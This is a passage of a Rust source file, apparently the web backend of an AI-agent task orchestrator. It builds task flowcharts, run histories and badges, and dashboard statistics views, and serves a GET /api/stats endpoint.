6317                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6318                    format!("parked for {}{spent}", c.label())
6319                }
6320                Some(c) => format!("parked ({}){spent}", c.label()),
6321                None => format!("parked{spent}"),
6322            });
6323        } else {
6324            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6325        }
6326    }
6327    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6328    TaskRunView {
6329        activity: None,
6330        n,
6331        id: id.to_owned(),
6332        short,
6333        kind,
6334        status: Some(status.as_str()),
6335        readable: true,
6336        provisional,
6337        description,
6338        outcome: format!("{head}{why}"),
6339        created_at: Some(s.created_at),
6340        pr: s.pr.as_ref().map(|p| p.url.clone()),
6341        exit,
6342        attempt,
6343        exit_label,
6344        later_pass: resumed_later,
6345        pass_n,
6346        passes_of_run,
6347        pass: view,
6348        branch: branch.map(str::to_owned),
6349        badge: None,
6350    }
6351}
6352
6353fn capitalise(s: &str) -> String {
6354    let mut c = s.chars();
6355    c.next().map_or_else(String::new, |f| {
6356        f.to_uppercase().collect::<String>() + c.as_str()
6357    })
6358}
6359
6360/// One box of the task's flowchart.
6361#[derive(Debug, Serialize, PartialEq)]
6362struct FlowNode {
6363    /// Unique by position: a resumed run id appears once per pass.
6364    key: String,
6365    /// `chat`, `followup`, `start`, `run` or `end`.
6366    kind: &'static str,
6367    label: String,
6368    /// Run status (or the task's, for `end`); `None` when it is not a fact
6369    /// about this box (unreadable, or a pass the run later resumed from).
6370    status: Option<&'static str>,
6371    /// Whose status `status` is, so the client picks the right colour table:
6372    /// `task` (the `followup` parent and `end`) or `run`.
6373    status_of: &'static str,
6374    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6375    note: Option<&'static str>,
6376    run_kind: Option<&'static str>,
6377    detail: Option<String>,
6378    /// A readable run with a real verdict; a stall never is.
6379    decided: bool,
6380    readable: bool,
6381    href: Option<String>,
6382    /// Overrides `status` as the badge word (`stale` / `superseded`).
6383    badge: Option<String>,
6384    /// Start of this entry, never the run's latest update or pass settlement.
6385    started_at: Option<Timestamp>,
6386    /// Context links (chat / follow-up) do not represent execution entries.
6387    time_expected: bool,
6388}
6389
6390#[derive(Debug, Serialize, PartialEq)]
6391struct FlowEdge {
6392    from: String,
6393    to: String,
6394    label: String,
6395    attempt: AttemptCost,
6396}
6397
6398#[derive(Debug, Serialize, PartialEq)]
6399struct FlowView {
6400    nodes: Vec<FlowNode>,
6401    edges: Vec<FlowEdge>,
6402    /// Attempts the task has counted since it was last released.
6403    attempts: usize,
6404    max_attempts: usize,
6405    /// Entries in the run list (passes), and how many distinct runs they are.
6406    /// Neither is the number of attempts consumed.
6407    passes: usize,
6408    runs: usize,
6409}
6410
6411/// Turn a task and its described runs into the flowchart's boxes and arrows.
6412/// Pure: the page only draws what this returns.
6413///
6414/// A follow-up opens with its parent (or the merged run) unless the task's
6415/// *source* is itself a chat, in which case the chat stays first and the
6416/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6417/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6418/// two normally do not coincide and the nearer origin wins.
6419fn task_flow(
6420    task: &Task,
6421    history: &[TaskRunView],
6422    max_attempts: usize,
6423    origin: Option<&FollowUpOrigin>,
6424) -> FlowView {
6425    let max_attempts = task.effective_attempt_limit(max_attempts);
6426    let node = |key: &str, kind, label: String| FlowNode {
6427        key: key.to_owned(),
6428        kind,
6429        label,
6430        status: None,
6431        status_of: "run",
6432        note: None,
6433        run_kind: None,
6434        detail: None,
6435        decided: false,
6436        readable: true,
6437        href: None,
6438        badge: None,
6439        started_at: None,
6440        time_expected: matches!(kind, "start" | "run" | "end"),
6441    };
6442    let mut nodes = Vec::new();
6443    let mut edges: Vec<FlowEdge> = Vec::new();
6444    // A task queued from a chat opens the flow with that conversation.
6445    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6446        let mut n = node(
6447            "chat",
6448            "chat",
6449            format!("Chat {}", crate::queue::short(&link.id)),
6450        );
6451        n.href = Some(link.href);
6452        nodes.push(n);
6453        edges.push(FlowEdge {
6454            from: "chat".to_owned(),
6455            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6456            label: "queued from chat".to_owned(),
6457            attempt: AttemptCost::None,
6458        });
6459    }
6460    if let Some(o) = origin {
6461        let mut n = match &o.parent {
6462            Some(p) => {
6463                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6464                n.status = Some(p.status);
6465                n.status_of = "task";
6466                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6467                n.href = Some(p.href.clone());
6468                n
6469            }
6470            None => {
6471                let mut n = node(
6472                    "origin",
6473                    "followup",
6474                    format!("Follow-up of run {}", o.run.short),
6475                );
6476                n.detail = Some("merged run".to_owned());
6477                n.status = o.run.status;
6478                n.href = o.run.href.clone();
6479                if o.run.href.is_none() {
6480                    n.readable = false;
6481                    n.note = Some("unreadable");
6482                }
6483                n
6484            }
6485        };
6486        n.decided = true;
6487        let from = n.key.clone();
6488        nodes.push(n);
6489        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6490        let more = o.findings.len().saturating_sub(shown.len());
6491        let label = match (shown.is_empty(), more) {
6492            (true, _) => "open findings".to_owned(),
6493            (false, 0) => format!("open findings {}", shown.join(", ")),
6494            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6495        };
6496        edges.push(FlowEdge {
6497            from,
6498            to: "start".to_owned(),
6499            label,
6500            attempt: AttemptCost::None,
6501        });
6502    }
6503    let mut start = node("start", "start", "Task queued".to_owned());
6504    start.started_at = Some(task.created_at);
6505    nodes.push(start);
6506    let mut prev = "start".to_owned();
6507    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6508    for (i, h) in history.iter().enumerate() {
6509        let key = format!("run-{}", h.n);
6510        let mut n = node(&key, "run", format!("Run {}", h.short));
6511        // Creation marks only the first pass of legacy runs. A resumed pass
6512        // without a record must not inherit the original run's start time.
6513        n.started_at = h
6514            .readable
6515            .then(|| {
6516                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6517                    h.created_at
6518                } else {
6519                    None
6520                })
6521            })
6522            .flatten();
6523        n.run_kind = Some(h.kind);
6524        n.readable = h.readable;
6525        n.href = Some(format!("#/runs/{}", h.id));
6526        n.decided = h.readable && !h.provisional;
6527        n.detail = h
6528            .branch
6529            .as_ref()
6530            .map(|b| format!("review-only run of branch {b}"));
6531        match h.exit {
6532            RunExit::Unreadable => n.note = Some("unreadable"),
6533            RunExit::Interrupted => n.note = Some("interrupted"),
6534            // An earlier pass the run recorded as parked: the status shown
6535            // would be the run's current one, not this pass's.
6536            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6537            _ => {
6538                n.status = h.status;
6539                n.badge = h.badge.clone();
6540                if h.provisional {
6541                    n.note = Some("no verdict");
6542                }
6543            }
6544        }
6545        let into = match h.kind {
6546            "review" => Some(format!(
6547                "review-only run of branch {}",
6548                h.branch.as_deref().unwrap_or("?")
6549            )),
6550            "resume" => Some("resume the same run".to_owned()),
6551            _ if i > 0 => Some("retry".to_owned()),
6552            _ => None,
6553        };
6554        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6555        let label = match (prev_exit, into) {
6556            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6557            (Some((_, l, _)), None) => l,
6558            (None, Some(i)) => i,
6559            (None, None) => "claimed".to_owned(),
6560        };
6561        edges.push(FlowEdge {
6562            from: prev.clone(),
6563            to: key.clone(),
6564            label,
6565            attempt,
6566        });
6567        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6568        prev = key;
6569        nodes.push(n);
6570    }
6571    let mut end = node("end", "end", task.status.as_str().to_owned());
6572    end.status = Some(task.status.as_str());
6573    end.status_of = "task";
6574    // Other task states do not persist their transition start. In particular,
6575    // blocked_at can change while the task remains blocked.
6576    if task.status == TaskStatus::Held {
6577        end.started_at = task.held_at;
6578    }
6579    nodes.push(end);
6580    let (label, attempt) = match prev_exit {
6581        None => (
6582            format!("no run yet \u{2192} {}", task.status.as_str()),
6583            AttemptCost::None,
6584        ),
6585        Some((e, l, cost)) if e.explains(task.status) => {
6586            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6587        }
6588        Some((_, _, cost)) => (
6589            format!("closed by hand: task is {}", task.status.as_str()),
6590            cost,
6591        ),
6592    };
6593    edges.push(FlowEdge {
6594        from: prev,
6595        to: "end".to_owned(),
6596        label,
6597        attempt,
6598    });
6599    FlowView {
6600        nodes,
6601        edges,
6602        attempts: task.attempts,
6603        max_attempts,
6604        passes: history.len(),
6605        runs: distinct_runs(&task.runs),
6606    }
6607}
6608
6609/// How many different run ids a task's run list names.
6610fn distinct_runs(runs: &[String]) -> usize {
6611    let mut seen: Vec<&str> = Vec::new();
6612    for r in runs {
6613        if !seen.contains(&r.as_str()) {
6614            seen.push(r);
6615        }
6616    }
6617    seen.len()
6618}
6619
6620/// Describe recorded task passes, retaining unrecorded legacy list entries.
6621fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6622    let mut slots = Vec::new();
6623    let mut seen = Vec::new();
6624    for run_id in &task.runs {
6625        if seen.contains(&run_id) {
6626            continue;
6627        }
6628        seen.push(run_id);
6629        let state = read(run_id);
6630        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6631            s.passes
6632                .iter()
6633                .filter(|p| {
6634                    p.task_entry
6635                        || task
6636                            .passes
6637                            .iter()
6638                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6639                })
6640                .cloned()
6641                .collect()
6642        });
6643        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6644        let total = legacy_count.max(mine.len());
6645        let offset = total - mine.len();
6646        for k in 0..total {
6647            // Legacy repeated entries retain their original positions. When
6648            // ids are unique, recorded pass times recover the resume order.
6649            let position = task
6650                .runs
6651                .iter()
6652                .enumerate()
6653                .filter(|(_, r)| *r == run_id)
6654                .nth(k.min(legacy_count - 1))
6655                .unwrap()
6656                .0;
6657            slots.push((
6658                run_id,
6659                state.clone(),
6660                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6661                position,
6662            ));
6663        }
6664    }
6665    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6666        slots.sort_by_key(|(_, state, pass, _)| {
6667            pass.as_ref()
6668                .map(|p| p.started_at)
6669                .or_else(|| state.as_ref().map(|s| s.created_at))
6670                .map_or((true, task.created_at), |at| (false, at))
6671        });
6672    } else {
6673        slots.sort_by_key(|(_, _, _, position)| *position);
6674    }
6675    let mut history = Vec::with_capacity(slots.len());
6676    let mut seen: Vec<&str> = Vec::new();
6677    let mut prior: Option<(&str, RunStatus)> = None;
6678    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6679        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6680        let resumed = k > 0;
6681        seen.push(run_id);
6682        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6683        let pass = pass.as_ref();
6684        let settled = pass.and_then(|p| {
6685            task.passes
6686                .iter()
6687                .find(|t| t.run == **run_id && t.pass_index == p.index)
6688        });
6689        history.push(task_run_view(
6690            run_id,
6691            state.as_ref(),
6692            RunSlot {
6693                n: i + 1,
6694                resumed,
6695                resumed_later: slots[i + 1..]
6696                    .iter()
6697                    .position(|(id, _, _, _)| id == run_id)
6698                    .map(|off| i + off + 2),
6699                prior,
6700                last: i + 1 == slots.len(),
6701                pass,
6702                settled,
6703                pass_n: k + 1,
6704                passes_of_run: total,
6705            },
6706            task,
6707        ));
6708        if let Some(s) = &state {
6709            prior = Some((run::short_of(run_id), s.status));
6710        }
6711    }
6712    history
6713}
6714
6715/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6716/// An earlier pass of a resumed run keeps no badge (it has no status box).
6717fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6718    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6719        return;
6720    }
6721    let (_, claimed, _) = run_row_inputs(ui);
6722    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6723    for h in history
6724        .iter_mut()
6725        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6726    {
6727        let Ok(state) = read_run(&ui.runs, &h.id) else {
6728            continue;
6729        };
6730        if state.status.done() {
6731            continue;
6732        }
6733        let live = state.liveness_with(
6734            claimed.contains(&h.id),
6735            |p| probe.borrow_mut().status(p),
6736            |p| probe.borrow_mut().started_at(p),
6737        );
6738        let waiting = !ui.questions.open_for(&h.id).is_empty();
6739        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6740        let display = run_display_status(&state, waiting, live);
6741        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6742        if matches!(word.as_str(), "stale" | "superseded")
6743            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6744        {
6745            h.badge = Some(word);
6746        }
6747    }
6748}
6749
6750async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6751    blocking(move || {
6752        let id = resolve_task(&ui.queue, &id)?;
6753        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6754    })
6755    .await
6756}
6757
6758async fn task_detail(
6759    State(ui): State<Arc<Ui>>,
6760    Path(id): Path<String>,
6761) -> ApiResult<Json<TaskDetailView>> {
6762    blocking(move || {
6763        let id = resolve_task(&ui.queue, &id)?;
6764        let task = ui
6765            .queue
6766            .get(&id)
6767            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6768        let inv = if task.status == TaskStatus::Blocked {
6769            Some(crate::blockers::Inventory::load_for(
6770                &ui.queue,
6771                &ui.questions,
6772                &task,
6773            ))
6774        } else {
6775            None
6776        };
6777        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6778        mark_badges(&ui, &task, &mut history);
6779        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6780        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6781        let origin = task.followup.as_ref().map(|fu| {
6782            followup_origin(
6783                fu,
6784                |tid| ui.queue.get(tid).ok(),
6785                |rid| read_run(&ui.runs, rid).ok(),
6786            )
6787        });
6788        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6789        let task_view = match inv.as_ref() {
6790            Some(inv) => TaskView::with_inventory(task, inv),
6791            None => TaskView::from(task),
6792        };
6793        Ok(Json(TaskDetailView {
6794            max_attempts,
6795            flow,
6796            followup_origin: origin,
6797            passes_total: history.len(),
6798            runs_distinct: distinct_runs(&task_view.task.runs),
6799            history,
6800            runs_unreadable,
6801            attempts_note: ATTEMPTS_NOTE,
6802            task: task_view,
6803        }))
6804    })
6805    .await
6806}
6807
6808/// A rate together with its denominator, so the client can tell "computed as
6809/// 0%" apart from "no data to compute it from" — both would otherwise
6810/// serialize as `0.0`. `None` means the denominator was zero.
6811#[derive(Debug, Serialize)]
6812struct RateView {
6813    pct: f64,
6814    denominator: usize,
6815}
6816
6817impl RateView {
6818    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6819        (denominator > 0).then(|| Self {
6820            pct: 100.0 * numerator as f64 / denominator as f64,
6821            denominator,
6822        })
6823    }
6824}
6825
6826/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6827/// rates, each paired with its own denominator via [`RateView`] rather than
6828/// exposing `Stats`' own percentage methods directly — see this module's
6829/// doc for why `Stats` itself is never serialized.
6830#[derive(Debug, Serialize)]
6831struct StatsTotalsView {
6832    runs: usize,
6833    merged: usize,
6834    ready: usize,
6835    blocked: usize,
6836    failed: usize,
6837    stalled: usize,
6838    verified_noop: usize,
6839    superseded: usize,
6840    in_progress: usize,
6841    completion_rate: Option<RateView>,
6842    tallied: usize,
6843    split: usize,
6844    split_rate: Option<RateView>,
6845    deliberated: usize,
6846    minds_changed: usize,
6847    converged: usize,
6848    review_rounds: usize,
6849}
6850
6851impl From<&stats::Totals> for StatsTotalsView {
6852    fn from(t: &stats::Totals) -> Self {
6853        Self {
6854            runs: t.runs,
6855            merged: t.merged,
6856            ready: t.ready,
6857            blocked: t.blocked,
6858            failed: t.failed,
6859            stalled: t.stalled,
6860            verified_noop: t.verified_noop,
6861            superseded: t.superseded,
6862            in_progress: t.in_progress,
6863            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6864            tallied: t.tallied,
6865            split: t.split,
6866            split_rate: RateView::of(t.split, t.tallied),
6867            deliberated: t.deliberated,
6868            minds_changed: t.minds_changed,
6869            converged: t.converged,
6870            review_rounds: t.review_rounds,
6871        }
6872    }
6873}
6874
6875/// [`crate::stats::AgentStats`] for the wire.
6876#[derive(Debug, Serialize)]
6877struct AgentStatsView {
6878    agent: String,
6879    entered: usize,
6880    wins: usize,
6881    empty: usize,
6882    win_rate: Option<RateView>,
6883    competitive_entered: usize,
6884    competitive_wins: usize,
6885    competitive_win_rate: Option<RateView>,
6886    solo_entered: usize,
6887    solo_adopted: usize,
6888    solo_adoption_rate: Option<RateView>,
6889}
6890
6891impl From<&stats::AgentStats> for AgentStatsView {
6892    fn from(a: &stats::AgentStats) -> Self {
6893        Self {
6894            agent: a.agent.clone(),
6895            entered: a.entered,
6896            wins: a.wins,
6897            empty: a.empty,
6898            win_rate: RateView::of(a.wins, a.entered),
6899            competitive_entered: a.competitive_entered,
6900            competitive_wins: a.competitive_wins,
6901            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6902            solo_entered: a.solo_entered,
6903            solo_adopted: a.solo_adopted,
6904            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6905        }
6906    }
6907}
6908
6909/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6910/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6911/// value, `None` when `rounds` is zero.
6912#[derive(Debug, Serialize)]
6913struct ReviewerStatsView {
6914    agent: String,
6915    rounds: usize,
6916    seated: usize,
6917    submitted: usize,
6918    adopted: usize,
6919    unique: usize,
6920    timeouts: usize,
6921    adopted_per_round: Option<f64>,
6922    precision: Option<RateView>,
6923    unique_rate: Option<RateView>,
6924    timeout_rate: Option<RateView>,
6925}
6926
6927impl From<&stats::ReviewerStats> for ReviewerStatsView {
6928    fn from(r: &stats::ReviewerStats) -> Self {
6929        Self {
6930            agent: r.agent.clone(),
6931            rounds: r.rounds,
6932            seated: r.seated,
6933            submitted: r.submitted,
6934            adopted: r.adopted,
6935            unique: r.unique,
6936            timeouts: r.timeouts,
6937            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6938            precision: RateView::of(r.adopted, r.submitted),
6939            unique_rate: RateView::of(r.unique, r.submitted),
6940            timeout_rate: RateView::of(r.timeouts, r.seated),
6941        }
6942    }
6943}
6944
6945/// [`crate::stats::AdvisorStats`] for the wire.
6946///
6947/// `reflection_rate` is approximate by construction — see
6948/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6949/// that caveat is static text in `index.html`, not a field here.
6950#[derive(Debug, Serialize)]
6951struct AdvisorStatsView {
6952    agent: String,
6953    seated: usize,
6954    proposed: usize,
6955    absent: usize,
6956    faint: usize,
6957    strong: usize,
6958    reflection_rate: Option<RateView>,
6959}
6960
6961impl From<&stats::AdvisorStats> for AdvisorStatsView {
6962    fn from(a: &stats::AdvisorStats) -> Self {
6963        Self {
6964            agent: a.agent.clone(),
6965            seated: a.seated,
6966            proposed: a.proposed,
6967            absent: a.absent,
6968            faint: a.faint,
6969            strong: a.strong,
6970            reflection_rate: RateView::of(a.strong, a.proposed),
6971        }
6972    }
6973}
6974
6975/// [`crate::stats::E2eStats`] for the wire.
6976#[derive(Debug, Serialize)]
6977struct E2eStatsView {
6978    rounds: usize,
6979    failures: usize,
6980    sole_detections: usize,
6981    deferred: usize,
6982    sole_rate: Option<RateView>,
6983}
6984
6985impl From<&stats::E2eStats> for E2eStatsView {
6986    fn from(e: &stats::E2eStats) -> Self {
6987        Self {
6988            rounds: e.rounds,
6989            failures: e.failures,
6990            sole_detections: e.sole_detections,
6991            deferred: e.deferred,
6992            sole_rate: RateView::of(e.sole_detections, e.failures),
6993        }
6994    }
6995}
6996
6997/// [`crate::stats::ReleaseBumpStats`] for the wire.
6998///
6999/// `clean` is sent as a raw count, computed the same way
7000/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7001/// needs_attention`) — never derived client-side from `automerge_enabled`,
7002/// which would misclassify a `merged_directly` bump (automerge rejected, but
7003/// magi merged it directly, so no human involvement) as needing attention.
7004#[derive(Debug, Serialize)]
7005struct ReleaseBumpStatsView {
7006    merged: usize,
7007    recorded: usize,
7008    pr_opened: usize,
7009    automerge_enabled: usize,
7010    merged_directly: usize,
7011    needs_attention: usize,
7012    clean: usize,
7013    coverage_rate: Option<RateView>,
7014    automerge_rate: Option<RateView>,
7015    attention_rate: Option<RateView>,
7016}
7017
7018impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7019    fn from(b: &stats::ReleaseBumpStats) -> Self {
7020        Self {
7021            merged: b.merged,
7022            recorded: b.recorded,
7023            pr_opened: b.pr_opened,
7024            automerge_enabled: b.automerge_enabled,
7025            merged_directly: b.merged_directly,
7026            needs_attention: b.needs_attention,
7027            clean: b.clean(),
7028            coverage_rate: RateView::of(b.recorded, b.merged),
7029            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7030            attention_rate: RateView::of(b.needs_attention, b.recorded),
7031        }
7032    }
7033}
7034
7035/// [`crate::queue::TaskCounts`] for the wire.
7036#[derive(Debug, Serialize)]
7037struct TaskCountsView {
7038    queued: usize,
7039    running: usize,
7040    done: usize,
7041    failed: usize,
7042    held: usize,
7043    blocked: usize,
7044    parked: usize,
7045}
7046
7047impl From<crate::queue::TaskCounts> for TaskCountsView {
7048    fn from(c: crate::queue::TaskCounts) -> Self {
7049        Self {
7050            queued: c.queued,
7051            running: c.running,
7052            done: c.done,
7053            failed: c.failed,
7054            held: c.held,
7055            blocked: c.blocked,
7056            parked: c.parked,
7057        }
7058    }
7059}
7060
7061/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7062/// runs recorded — the summary the UI's repository selector is built from.
7063/// Carries no nested `Stats`: picking a repo means re-fetching
7064/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7065/// aggregation rather than duplicating it.
7066#[derive(Debug, Serialize)]
7067struct RepoSummaryView {
7068    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7069    /// against, full path and all (see [`stats_get`]'s own doc for why).
7070    repo: String,
7071    /// Display name only; never used for matching.
7072    name: String,
7073    runs: usize,
7074    completion_rate: Option<RateView>,
7075}
7076
7077impl From<&stats::RepoStats> for RepoSummaryView {
7078    fn from(r: &stats::RepoStats) -> Self {
7079        let t = &r.stats.totals;
7080        Self {
7081            repo: r.repo.to_string_lossy().into_owned(),
7082            name: r.name.clone(),
7083            runs: t.runs,
7084            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7085        }
7086    }
7087}
7088
7089/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7090/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7091/// renders from them) are free to grow without that becoming a wire-contract
7092/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7093/// data" from "computed and it really is zero" the way [`RateView`] does.
7094#[derive(Debug, Serialize)]
7095struct StatsView {
7096    totals: StatsTotalsView,
7097    /// Best win rate first, as [`stats::collect`] already sorts it.
7098    agents: Vec<AgentStatsView>,
7099    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7100    reviewers: Vec<ReviewerStatsView>,
7101    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7102    advisors: Vec<AdvisorStatsView>,
7103    e2e: E2eStatsView,
7104    release_bumps: ReleaseBumpStatsView,
7105    queue: Option<TaskCountsView>,
7106    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7107    /// that field's doc. Asserted to match it in
7108    /// `stats_runs_unreadable_matches_health`.
7109    ///
7110    /// Always the whole-workload count, even when `repo` narrows every other
7111    /// field to one repository - an unreadable `run.json` carries no `repo`
7112    /// a per-repository count could attribute it to, and the queue/health
7113    /// views this mirrors never scope it either. The UI must not present it
7114    /// as if it were scoped to the selected repository.
7115    runs_unreadable: usize,
7116    /// Every repository with runs recorded, most runs first - what the UI's
7117    /// repository selector is built from. Always the full list regardless of
7118    /// `repo`, so switching repositories never needs a second request.
7119    repos: Vec<RepoSummaryView>,
7120    /// Runs per local day over the last 30 days, oldest first, always 30
7121    /// entries. Days are the *server's* local dates (the UI must not convert
7122    /// them again), cut by run creation and classified by current status.
7123    /// Narrowed by `repo` like every other run-derived field.
7124    daily: Vec<DailyStatsView>,
7125    /// The `?repo=` value this response was narrowed to, echoed back so the
7126    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7127    /// all-repositories view.
7128    repo: Option<String>,
7129    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7130    /// current config roster no longer lists them. Empty with `?all=true`, an
7131    /// unreadable config, or when nothing was retired.
7132    retired_hidden: Vec<String>,
7133}
7134
7135/// One day of [`StatsView::daily`].
7136#[derive(Debug, Serialize)]
7137struct DailyStatsView {
7138    /// `YYYY-MM-DD`, server-local.
7139    date: String,
7140    runs: usize,
7141    merged: usize,
7142    ready: usize,
7143    other: usize,
7144    /// `None` on a day with no runs, so it never reads as 0%.
7145    completion_rate: Option<RateView>,
7146}
7147
7148impl From<&stats::DayBucket> for DailyStatsView {
7149    fn from(b: &stats::DayBucket) -> Self {
7150        Self {
7151            date: b.date.to_string(),
7152            runs: b.runs,
7153            merged: b.merged,
7154            ready: b.ready,
7155            other: b.other,
7156            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7157        }
7158    }
7159}
7160
7161/// How many days [`StatsView::daily`] covers.
7162const STATS_DAILY_DAYS: usize = 30;
7163
7164/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7165/// repository. Matched by full-path equality against `RunState.repo` only
7166/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7167/// `--repo` is, because the value here always came from this same route's
7168/// own `repos` list in an earlier response, never typed by a human. A value
7169/// matching no run is a 404, not an empty aggregate: the caller asked for a
7170/// specific, named repository, and silently returning zeroes would look
7171/// exactly like a repository that has runs but none of interest.
7172#[derive(Debug, Default, Deserialize)]
7173#[serde(default)]
7174struct StatsQuery {
7175    repo: Option<String>,
7176    /// `?all=true` keeps agents that are no longer in the roster.
7177    all: bool,
7178    /// The dashboard fetches queue counts independently of run history.
7179    runs_only: bool,
7180}
7181
7182/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7183/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7184/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7185/// prints from. Reads every readable run on disk, exactly as
7186/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7187/// a separately-maintained tally could.
7188async fn stats_get(
7189    State(ui): State<Arc<Ui>>,
7190    Query(q): Query<StatsQuery>,
7191) -> ApiResult<Json<StatsView>> {
7192    blocking(move || {
7193        let states: Vec<RunState> = run_ids(&ui.runs)
7194            .into_iter()
7195            .filter_map(|id| read_run(&ui.runs, &id).ok())
7196            .collect();
7197        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7198            .iter()
7199            .map(RepoSummaryView::from)
7200            .collect();
7201        let mut scoped: Vec<&RunState> = states.iter().collect();
7202        let mut collected = match &q.repo {
7203            Some(repo) => {
7204                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7205                if filtered.is_empty() {
7206                    return Err(ApiError::not_found(format!(
7207                        "no runs recorded against repo `{repo}`"
7208                    )));
7209                }
7210                scoped = filtered.clone();
7211                stats::collect_refs(filtered)
7212            }
7213            None => stats::collect(&states),
7214        };
7215        if !q.all {
7216            let repo = q
7217                .repo
7218                .as_deref()
7219                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7220            stats::retain_current_roster(&mut collected, &repo);
7221        }
7222        let daily = stats::daily(
7223            scoped,
7224            jiff::Zoned::now().date(),
7225            &jiff::tz::TimeZone::system(),
7226            STATS_DAILY_DAYS,
7227        );
7228        let queue_counts = (!q.runs_only)
7229            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7230        Ok(Json(StatsView {
7231            totals: StatsTotalsView::from(&collected.totals),
7232            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7233            reviewers: collected
7234                .reviewers
7235                .iter()
7236                .map(ReviewerStatsView::from)
7237                .collect(),
7238            advisors: collected
7239                .advisors
7240                .iter()
7241                .map(AdvisorStatsView::from)
7242                .collect(),
7243            e2e: E2eStatsView::from(&collected.e2e),
7244            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7245            queue: queue_counts,
7246            runs_unreadable: runs_unreadable(&ui.runs),
7247            repos,
7248            daily: daily.iter().map(DailyStatsView::from).collect(),
7249            repo: q.repo.clone(),
7250            retired_hidden: collected.retired_hidden.clone(),
7251        }))
7252    })
7253    .await
7254}
7255
7256/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7257/// gives no reason - which must keep working, since not every hold has one.
7258#[derive(Debug, Default, Deserialize)]
7259#[serde(default, deny_unknown_fields)]
7260struct HoldBody {
7261    reason: Option<String>,
7262}
7263
7264async fn queue_hold(
7265    State(ui): State<Arc<Ui>>,
7266    Path(id): Path<String>,
7267    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7268) -> ApiResult<Json<TaskView>> {
7269    // An absent body is the ordinary case - most holds are unexplained, and
7270    // that has to stay a one-tap action rather than a form. A body that is
7271    // present and malformed is still a bad request.
